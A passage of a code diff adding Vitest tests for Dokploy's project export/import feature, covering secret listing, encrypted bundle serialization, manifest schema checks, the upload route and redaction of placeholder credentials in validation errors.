{ kind: "postgres", postgresId: "pg-1", databasePassword: "$secret:pg" },
|
||||
],
|
||||
shared: {
|
||||
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
|
||||
destination: [
|
||||
{
|
||||
name: "backups",
|
||||
accessKey: "$secret:ak-1",
|
||||
secretAccessKey: "$secret:sk-1",
|
||||
},
|
||||
],
|
||||
sshKey: [{ name: "deploy", privateKey: "$secret:ssh-1" }],
|
||||
certificate: [{ name: "wildcard", privateKey: "$secret:cert-1" }],
|
||||
},
|
||||
},
|
||||
} as unknown as Snapshot;
|
||||
|
||||
describe("listReviewableSecrets", () => {
|
||||
it("lists external credentials by secret ref, skipping database passwords and non-refs", () => {
|
||||
const entries = listReviewableSecrets(snapshot);
|
||||
expect(
|
||||
entries.map((e) => [e.kind, e.resource, e.field, e.secretId]),
|
||||
).toEqual([
|
||||
["basicAuth", "web · admin", "password", "sec-1"],
|
||||
["registry", "ghcr", "password", "reg-1"],
|
||||
["destination", "backups", "accessKey", "ak-1"],
|
||||
["destination", "backups", "secretAccessKey", "sk-1"],
|
||||
["sshKey", "deploy", "privateKey", "ssh-1"],
|
||||
["certificate", "wildcard", "privateKey", "cert-1"],
|
||||
]);
|
||||
expect(entries.filter((e) => e.generatable).map((e) => e.kind)).toEqual([
|
||||
"basicAuth",
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,187 @@
|
||||
import { createReadStream, createWriteStream, existsSync } from "node:fs";
|
||||
import {
|
||||
mkdir,
|
||||
mkdtemp,
|
||||
readdir,
|
||||
readFile,
|
||||
rm,
|
||||
writeFile,
|
||||
} from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { pipeline } from "node:stream/promises";
|
||||
import type { SerializeInput } from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
deriveKeys,
|
||||
gcmDecryptStream,
|
||||
serialize,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { execAsync } from "@dokploy/server/utils/process/execAsync";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const PASSPHRASE = "correct-horse-battery-staple";
|
||||
|
||||
let workDir: string;
|
||||
let outDir: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-serialize-work-"));
|
||||
outDir = await mkdtemp(join(tmpdir(), "transfer-serialize-out-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
await rm(outDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const baseInput: SerializeInput = {
|
||||
resources: {
|
||||
project: { projectId: "project-1", name: "my-project" },
|
||||
environments: [{ environmentId: "env-1", name: "production" }],
|
||||
services: [
|
||||
{
|
||||
kind: "postgres",
|
||||
postgresId: "pg-1",
|
||||
name: "pg-1",
|
||||
databasePassword: "$secret:11111111-1111-1111-1111-111111111111",
|
||||
},
|
||||
],
|
||||
shared: {},
|
||||
},
|
||||
inventory: {
|
||||
project: { name: "my-project", environments: 1 },
|
||||
environments: [
|
||||
{ id: "env-1", name: "production", services: { postgres: 1 } },
|
||||
],
|
||||
totals: { postgres: 1 },
|
||||
estimatedDumpBytes: 0,
|
||||
estimatedFilesBytes: 0,
|
||||
images: [],
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [
|
||||
{
|
||||
serviceId: "pg-1",
|
||||
serviceType: "postgres",
|
||||
mode: "embed",
|
||||
ext: "sql.gz",
|
||||
path: "dumps/pg-1.sql.gz",
|
||||
bytes: 15,
|
||||
},
|
||||
],
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
};
|
||||
|
||||
const secretsPlain = new Map([
|
||||
["11111111-1111-1111-1111-111111111111", "realdbpassword"],
|
||||
]);
|
||||
|
||||
describe("serialize", () => {
|
||||
it("keeps only the public files in clear and encrypts everything else", async () => {
|
||||
await mkdir(join(workDir, "dumps"), { recursive: true });
|
||||
await writeFile(join(workDir, "dumps", "pg-1.sql.gz"), "fake-dump-bytes");
|
||||
|
||||
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
|
||||
await serialize(
|
||||
baseInput,
|
||||
secretsPlain,
|
||||
PASSPHRASE,
|
||||
local(workDir),
|
||||
local(bundlePath),
|
||||
);
|
||||
|
||||
expect(existsSync(bundlePath)).toBe(true);
|
||||
expect(existsSync(workDir)).toBe(false);
|
||||
|
||||
const { stdout: members } = await execAsync(`tar -tzf "${bundlePath}"`);
|
||||
expect(members.split("\n")[0]).toBe("manifest.json");
|
||||
|
||||
const extractDir = join(outDir, "extracted");
|
||||
await mkdir(extractDir, { recursive: true });
|
||||
await execAsync(`tar -xzf "${bundlePath}" -C "${extractDir}"`);
|
||||
expect((await readdir(extractDir)).sort()).toEqual([
|
||||
"inventory.json",
|
||||
"manifest.json",
|
||||
"payload.enc",
|
||||
"requirements.json",
|
||||
"warnings.json",
|
||||
]);
|
||||
const outerBytes = await readFile(join(extractDir, "payload.enc"));
|
||||
expect(outerBytes.includes("realdbpassword")).toBe(false);
|
||||
expect(outerBytes.includes("fake-dump-bytes")).toBe(false);
|
||||
|
||||
const manifest = JSON.parse(
|
||||
await readFile(join(extractDir, "manifest.json"), "utf8"),
|
||||
);
|
||||
const { kEnc } = await deriveKeys(PASSPHRASE, manifest.crypto.salt);
|
||||
const payloadDir = join(outDir, "payload");
|
||||
await mkdir(payloadDir, { recursive: true });
|
||||
await pipeline(
|
||||
createReadStream(join(extractDir, "payload.enc")),
|
||||
gcmDecryptStream(kEnc),
|
||||
createWriteStream(join(outDir, "payload.tar.gz")),
|
||||
);
|
||||
await execAsync(
|
||||
`tar -xzf "${join(outDir, "payload.tar.gz")}" -C "${payloadDir}"`,
|
||||
);
|
||||
|
||||
const servicesJson = await readFile(
|
||||
join(payloadDir, "resources", "services.json"),
|
||||
"utf8",
|
||||
);
|
||||
expect(servicesJson).not.toContain("realdbpassword");
|
||||
expect(servicesJson).toContain(
|
||||
"$secret:11111111-1111-1111-1111-111111111111",
|
||||
);
|
||||
expect(
|
||||
await readFile(join(payloadDir, "dumps", "pg-1.sql.gz"), "utf8"),
|
||||
).toBe("fake-dump-bytes");
|
||||
const secrets = JSON.parse(
|
||||
await readFile(join(payloadDir, "secrets.json"), "utf8"),
|
||||
);
|
||||
expect(secrets["11111111-1111-1111-1111-111111111111"]).toBe(
|
||||
"realdbpassword",
|
||||
);
|
||||
});
|
||||
|
||||
it("removes workDir even when writing fails", async () => {
|
||||
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
|
||||
const badInput: SerializeInput = {
|
||||
...baseInput,
|
||||
resources: {
|
||||
...baseInput.resources,
|
||||
project: { self: undefined as unknown },
|
||||
},
|
||||
};
|
||||
(badInput.resources.project as Record<string, unknown>).self =
|
||||
badInput.resources.project;
|
||||
|
||||
await expect(
|
||||
serialize(
|
||||
badInput,
|
||||
secretsPlain,
|
||||
PASSPHRASE,
|
||||
local(workDir),
|
||||
local(bundlePath),
|
||||
),
|
||||
).rejects.toThrow();
|
||||
expect(existsSync(workDir)).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,116 @@
|
||||
import { serviceType } from "@dokploy/server/db/schema";
|
||||
import {
|
||||
manifestSchema,
|
||||
requirementSchema,
|
||||
serviceTypeSchema,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const validManifest = {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: new Date().toISOString(),
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "a2V5Y2hlY2s=",
|
||||
},
|
||||
counts: { application: 1 },
|
||||
};
|
||||
|
||||
describe("transfer types", () => {
|
||||
it("accepts a valid manifest", () => {
|
||||
expect(manifestSchema.safeParse(validManifest).success).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts a structurally-valid manifest with a future formatVersion (rejecting it is migrateManifest's job, not the schema's)", () => {
|
||||
const result = manifestSchema.safeParse({
|
||||
...validManifest,
|
||||
formatVersion: 2,
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects a formatVersion that isn't a positive integer", () => {
|
||||
expect(
|
||||
manifestSchema.safeParse({ ...validManifest, formatVersion: 0 }).success,
|
||||
).toBe(false);
|
||||
expect(
|
||||
manifestSchema.safeParse({ ...validManifest, formatVersion: 1.5 })
|
||||
.success,
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects a Requirement with an unknown kind", () => {
|
||||
const result = requirementSchema.safeParse({
|
||||
kind: "unknownKind",
|
||||
originalId: null,
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
});
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("accepts every real Requirement kind with its shape", () => {
|
||||
const base = { originalId: "id-1", configIncluded: true, usedBy: [] };
|
||||
const cases = [
|
||||
{
|
||||
...base,
|
||||
kind: "vault",
|
||||
providerName: "prod",
|
||||
providerType: "hashicorp",
|
||||
secretKeys: ["DB_PASS"],
|
||||
},
|
||||
{
|
||||
...base,
|
||||
kind: "gitProvider",
|
||||
providerType: "github",
|
||||
repositories: [{ owner: "acme", repo: "app" }],
|
||||
},
|
||||
{
|
||||
...base,
|
||||
kind: "destination",
|
||||
bucket: "b",
|
||||
endpoint: "e",
|
||||
region: "r",
|
||||
},
|
||||
{
|
||||
...base,
|
||||
kind: "registry",
|
||||
registryUrl: "r",
|
||||
imagePrefix: "p",
|
||||
role: ["registry"],
|
||||
},
|
||||
{ ...base, kind: "sshKey", publicKey: "ssh-ed25519 AAAA" },
|
||||
{ ...base, kind: "network", name: "net" },
|
||||
{ ...base, kind: "certificate", fingerprint: "abc123", serverId: null },
|
||||
{ ...base, kind: "server", originalId: null, serverId: null },
|
||||
];
|
||||
for (const testCase of cases) {
|
||||
expect(
|
||||
requirementSchema.safeParse(testCase).success,
|
||||
`kind ${testCase.kind} should be valid`,
|
||||
).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps serviceTypeSchema in sync with the serviceType DB enum", () => {
|
||||
expect([...serviceTypeSchema.options].sort()).toEqual(
|
||||
[...serviceType.enumValues].sort(),
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,411 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdtemp, readFile, rm } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { PassThrough } from "node:stream";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
let sessionToReturn: {
|
||||
session: { activeOrganizationId: string } | null;
|
||||
user: { id: string } | null;
|
||||
} = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
|
||||
let transferPathToReturn = "";
|
||||
|
||||
vi.mock("@dokploy/server/lib/auth", () => ({
|
||||
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
|
||||
}));
|
||||
|
||||
const { maxUploadBytesBox, remoteBox } = vi.hoisted(() => ({
|
||||
maxUploadBytesBox: { value: 10 * 1024 * 1024 * 1024 },
|
||||
remoteBox: {
|
||||
commands: [] as string[],
|
||||
received: [] as Buffer[],
|
||||
stdin: undefined as undefined | { destroyed: boolean },
|
||||
exitCode: null as number | null,
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/utils/process/remoteStream",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/remoteStream")
|
||||
>();
|
||||
const { PassThrough: Pass } = await import("node:stream");
|
||||
return {
|
||||
...actual,
|
||||
openProcessStream: async (serverId: string | null, command: string) => {
|
||||
if (!serverId) return actual.openProcessStream(serverId, command);
|
||||
remoteBox.commands.push(command);
|
||||
const stdin = new Pass();
|
||||
const stdout = new Pass();
|
||||
const stderr = new Pass();
|
||||
remoteBox.stdin = stdin;
|
||||
stdin.on("data", (chunk: Buffer) => remoteBox.received.push(chunk));
|
||||
const failWith = remoteBox.exitCode;
|
||||
const exit =
|
||||
failWith === null
|
||||
? new Promise<number>((resolve) => {
|
||||
stdin.on("finish", () => resolve(0));
|
||||
stdin.on("close", () => resolve(0));
|
||||
})
|
||||
: Promise.resolve(failWith);
|
||||
return {
|
||||
stdin,
|
||||
stdout,
|
||||
stderr,
|
||||
exit,
|
||||
close: () => stdin.destroy(),
|
||||
};
|
||||
},
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
findOrganizationServerId: vi.fn(
|
||||
async (serverId: string | undefined, organizationId: string) => {
|
||||
if (!serverId) return null;
|
||||
if (serverId === "server-1" && organizationId === "org-1") {
|
||||
return "server-1";
|
||||
}
|
||||
throw new Error("Server not found");
|
||||
},
|
||||
),
|
||||
get TRANSFER_MAX_UPLOAD_BYTES() {
|
||||
return maxUploadBytesBox.value;
|
||||
},
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
vi.mock("@dokploy/server/constants", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<typeof import("@dokploy/server/constants")>();
|
||||
return {
|
||||
...actual,
|
||||
paths: (isServer?: boolean) => ({
|
||||
...actual.paths(isServer),
|
||||
PROJECT_EXPORT_IMPORT_PATH: transferPathToReturn,
|
||||
}),
|
||||
};
|
||||
});
|
||||
|
||||
const { getImportJob } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
const handler = (await import("../../pages/api/project-export-import/upload"))
|
||||
.default;
|
||||
|
||||
let root: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-upload-route-"));
|
||||
transferPathToReturn = root;
|
||||
maxUploadBytesBox.value = 10 * 1024 * 1024 * 1024;
|
||||
remoteBox.exitCode = null;
|
||||
sessionToReturn = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const buildRes = () => {
|
||||
const stream = new PassThrough() as unknown as {
|
||||
statusCode: number;
|
||||
status: (code: number) => typeof stream;
|
||||
json: (body: unknown) => typeof stream;
|
||||
jsonBody?: unknown;
|
||||
} & PassThrough;
|
||||
stream.statusCode = 200;
|
||||
stream.status = vi.fn((code: number) => {
|
||||
stream.statusCode = code;
|
||||
return stream;
|
||||
}) as typeof stream.status;
|
||||
stream.json = vi.fn((body: unknown) => {
|
||||
stream.jsonBody = body;
|
||||
return stream;
|
||||
}) as typeof stream.json;
|
||||
return stream;
|
||||
};
|
||||
|
||||
const buildMultipartReq = (
|
||||
fileContent: Buffer,
|
||||
fileName = "bundle.dokploy.tar.gz",
|
||||
) => {
|
||||
const boundary = "----dokployTestBoundary";
|
||||
const head = Buffer.from(
|
||||
`--${boundary}\r\nContent-Disposition: form-data; name="bundle"; filename="${fileName}"\r\nContent-Type: application/gzip\r\n\r\n`,
|
||||
);
|
||||
const tail = Buffer.from(`\r\n--${boundary}--\r\n`);
|
||||
const body = Buffer.concat([head, fileContent, tail]);
|
||||
|
||||
const stream = new PassThrough() as unknown as PassThrough & {
|
||||
method: string;
|
||||
headers: Record<string, string>;
|
||||
};
|
||||
stream.method = "POST";
|
||||
stream.headers = {
|
||||
"content-type": `multipart/form-data; boundary=${boundary}`,
|
||||
"content-length": String(body.length),
|
||||
};
|
||||
stream.end(body);
|
||||
return stream;
|
||||
};
|
||||
|
||||
const buildTwoFileMultipartReq = (first: Buffer, second: Buffer) => {
|
||||
const boundary = "----dokployTestBoundary";
|
||||
const part = (name: string, content: Buffer) =>
|
||||
Buffer.concat([
|
||||
Buffer.from(
|
||||
`--${boundary}\r\nContent-Disposition: form-data; name="${name}"; filename="${name}.tar.gz"\r\nContent-Type: application/gzip\r\n\r\n`,
|
||||
),
|
||||
content,
|
||||
Buffer.from("\r\n"),
|
||||
]);
|
||||
const body = Buffer.concat([
|
||||
part("bundle", first),
|
||||
part("bundle2", second),
|
||||
Buffer.from(`--${boundary}--\r\n`),
|
||||
]);
|
||||
|
||||
const stream = new PassThrough() as unknown as PassThrough & {
|
||||
method: string;
|
||||
headers: Record<string, string>;
|
||||
};
|
||||
stream.method = "POST";
|
||||
stream.headers = {
|
||||
"content-type": `multipart/form-data; boundary=${boundary}`,
|
||||
"content-length": String(body.length),
|
||||
};
|
||||
stream.end(body);
|
||||
return stream;
|
||||
};
|
||||
|
||||
describe("transfer upload route", () => {
|
||||
it("rejects unauthenticated requests", async () => {
|
||||
sessionToReturn = { session: null, user: null };
|
||||
const req = buildMultipartReq(Buffer.from("irrelevant"));
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(401);
|
||||
});
|
||||
|
||||
it("rejects non-POST methods", async () => {
|
||||
const req = { method: "GET" };
|
||||
const res = buildRes();
|
||||
await handler(req as any, res as any);
|
||||
expect(res.statusCode).toBe(405);
|
||||
});
|
||||
|
||||
it("streams the uploaded bundle to disk and creates an import job", async () => {
|
||||
const content = Buffer.from("fake bundle bytes for the upload route test");
|
||||
const req = buildMultipartReq(content);
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(200);
|
||||
const importId = (res.jsonBody as { importId: string }).importId;
|
||||
expect(importId).toBeDefined();
|
||||
|
||||
const job = getImportJob(importId);
|
||||
expect(job?.status).toBe("uploaded");
|
||||
expect(job?.bundle?.path).toBeDefined();
|
||||
|
||||
const written = await readFile(job?.bundle?.path as string);
|
||||
expect(written.equals(content)).toBe(true);
|
||||
});
|
||||
|
||||
it("does not buffer the whole file into memory while receiving a large upload", async () => {
|
||||
sessionToReturn = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-2" },
|
||||
};
|
||||
const chunkSize = 1024 * 1024;
|
||||
const chunkCount = 50;
|
||||
const chunk = Buffer.alloc(chunkSize, 7);
|
||||
const content = Buffer.concat(Array(chunkCount).fill(chunk));
|
||||
const req = buildMultipartReq(content);
|
||||
const res = buildRes();
|
||||
|
||||
if (global.gc) {
|
||||
global.gc();
|
||||
}
|
||||
const before = process.memoryUsage().heapUsed;
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
if (global.gc) {
|
||||
global.gc();
|
||||
}
|
||||
const after = process.memoryUsage().heapUsed;
|
||||
const grew = after - before;
|
||||
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(grew).toBeLessThan(content.length / 2);
|
||||
});
|
||||
|
||||
it("rejects an upload with more than one file field instead of silently overwriting the first", async () => {
|
||||
sessionToReturn = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-two-files" },
|
||||
};
|
||||
const first = Buffer.from("first file's real content");
|
||||
const second = Buffer.from("second file's content");
|
||||
const req = buildTwoFileMultipartReq(first, second);
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect((res.jsonBody as { message: string }).message).toContain(
|
||||
"more than one file",
|
||||
);
|
||||
});
|
||||
|
||||
it("destroys the request instead of continuing to drain it once the size limit is hit", async () => {
|
||||
sessionToReturn = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-over-limit" },
|
||||
};
|
||||
maxUploadBytesBox.value = 10;
|
||||
const req = buildMultipartReq(Buffer.alloc(1000, 9));
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(413);
|
||||
expect((req as unknown as PassThrough).destroyed).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("upload to a remote server", () => {
|
||||
let counter = 0;
|
||||
beforeEach(() => {
|
||||
counter += 1;
|
||||
sessionToReturn = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: `remote-user-${counter}` },
|
||||
};
|
||||
remoteBox.commands = [];
|
||||
remoteBox.received = [];
|
||||
remoteBox.stdin = undefined;
|
||||
});
|
||||
|
||||
it("streams the file into a cat process on the chosen server", async () => {
|
||||
const content = Buffer.from("remote bundle bytes");
|
||||
const req = buildMultipartReq(content) as unknown as {
|
||||
query?: Record<string, string>;
|
||||
};
|
||||
req.query = { serverId: "server-1" };
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(200);
|
||||
const { importId, serverId } = res.jsonBody as {
|
||||
importId: string;
|
||||
serverId: string;
|
||||
};
|
||||
expect(serverId).toBe("server-1");
|
||||
expect(Buffer.concat(remoteBox.received).equals(content)).toBe(true);
|
||||
expect(remoteBox.commands.some((c) => c.includes("cat > '"))).toBe(true);
|
||||
expect(getImportJob(importId)?.bundle?.serverId).toBe("server-1");
|
||||
expect(existsSync(join(transferPathToReturn, importId))).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects a server outside the organization", async () => {
|
||||
const req = buildMultipartReq(Buffer.from("x")) as unknown as {
|
||||
query?: Record<string, string>;
|
||||
};
|
||||
req.query = { serverId: "someone-elses-server" };
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect(remoteBox.commands).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("closes the remote writer when the upload has no file field", async () => {
|
||||
const boundary = "----dokployTestBoundary";
|
||||
const body = Buffer.from(
|
||||
`--${boundary}\r\nContent-Disposition: form-data; name="note"\r\n\r\nhello\r\n--${boundary}--\r\n`,
|
||||
);
|
||||
const stream = new PassThrough() as unknown as PassThrough & {
|
||||
method: string;
|
||||
headers: Record<string, string>;
|
||||
query: Record<string, string>;
|
||||
};
|
||||
stream.method = "POST";
|
||||
stream.headers = {
|
||||
"content-type": `multipart/form-data; boundary=${boundary}`,
|
||||
"content-length": String(body.length),
|
||||
};
|
||||
stream.query = { serverId: "server-1" };
|
||||
stream.end(body);
|
||||
const res = buildRes();
|
||||
|
||||
await handler(stream as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect((res.jsonBody as { message: string }).message).toBe(
|
||||
"No file field found in the upload",
|
||||
);
|
||||
expect(remoteBox.stdin?.destroyed).toBe(true);
|
||||
});
|
||||
|
||||
it("fails fast when the remote writer exits before the file arrives", async () => {
|
||||
remoteBox.exitCode = 1;
|
||||
const stalled = new PassThrough() as unknown as PassThrough & {
|
||||
method: string;
|
||||
headers: Record<string, string>;
|
||||
query: Record<string, string>;
|
||||
};
|
||||
stalled.method = "POST";
|
||||
stalled.headers = {
|
||||
"content-type": "multipart/form-data; boundary=----dokployTestBoundary",
|
||||
};
|
||||
stalled.query = { serverId: "server-1" };
|
||||
const res = buildRes();
|
||||
|
||||
await handler(stalled as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect((res.jsonBody as { message: string }).message).toMatch(
|
||||
/Writing the bundle on the server failed/,
|
||||
);
|
||||
}, 5_000);
|
||||
});
|
||||
@@ -0,0 +1,511 @@
|
||||
import type {
|
||||
Plan,
|
||||
Requirement,
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { ExecError } from "@dokploy/server/utils/process/execAsync";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("@dokploy/server/services/registry", () => ({
|
||||
testRegistryConnection: vi.fn(async () => {
|
||||
throw new ExecError(
|
||||
"Command execution failed: Command failed: printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
|
||||
{
|
||||
command:
|
||||
"printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
|
||||
stderr: "Error response from daemon: login attempt failed",
|
||||
exitCode: 1,
|
||||
},
|
||||
);
|
||||
}),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/services/destination", () => ({
|
||||
testDestinationConnection: vi.fn(async () => {
|
||||
throw new ExecError(
|
||||
"Command execution failed: Command failed: rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
|
||||
{
|
||||
command:
|
||||
"rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
|
||||
stderr: "NoSuchBucket: The specified bucket does not exist",
|
||||
exitCode: 1,
|
||||
},
|
||||
);
|
||||
}),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/services/vault-provider", () => ({
|
||||
testVaultProviderConnection: vi.fn(async () => {}),
|
||||
}));
|
||||
|
||||
const { validatePlan } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
|
||||
const basePlan = {
|
||||
target: { kind: "newProject" as const, name: "imported" },
|
||||
resolutions: {
|
||||
"registry:registry-src": {
|
||||
requirementKey: "registry:registry-src",
|
||||
action: "reuse" as const,
|
||||
targetId: "registry-dest-1",
|
||||
},
|
||||
"destination:destination-src": {
|
||||
requirementKey: "destination:destination-src",
|
||||
action: "reuse" as const,
|
||||
targetId: "destination-dest-1",
|
||||
},
|
||||
},
|
||||
serverMap: {},
|
||||
appNameMap: {},
|
||||
domainStrategy: { custom: "keep" as const },
|
||||
portsStrategy: "keep" as const,
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [],
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 0, dumps: 0 },
|
||||
} satisfies Plan;
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: {},
|
||||
environments: [],
|
||||
services: [],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const fakeDb = {
|
||||
query: {
|
||||
registry: {
|
||||
findFirst: async () => ({
|
||||
registryId: "registry-dest-1",
|
||||
registryUrl: "registry.example.com",
|
||||
username: "user",
|
||||
password: "realregistrypass123",
|
||||
organizationId: "org-dest",
|
||||
}),
|
||||
},
|
||||
destinations: {
|
||||
findFirst: async () => ({
|
||||
destinationId: "destination-dest-1",
|
||||
accessKey: "key",
|
||||
secretAccessKey: "realsecretkey456",
|
||||
bucket: "mybucket",
|
||||
region: "us-east-1",
|
||||
endpoint: "https://s3.example.com",
|
||||
organizationId: "org-dest",
|
||||
}),
|
||||
},
|
||||
vaultProvider: { findFirst: async () => undefined },
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
describe("validatePlan (T-5.4)", () => {
|
||||
it("never leaks the registry password or destination secretAccessKey into a failed check's detail", async () => {
|
||||
const checks = await validatePlan(fakeDb, snapshot, basePlan, "org-dest");
|
||||
|
||||
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
|
||||
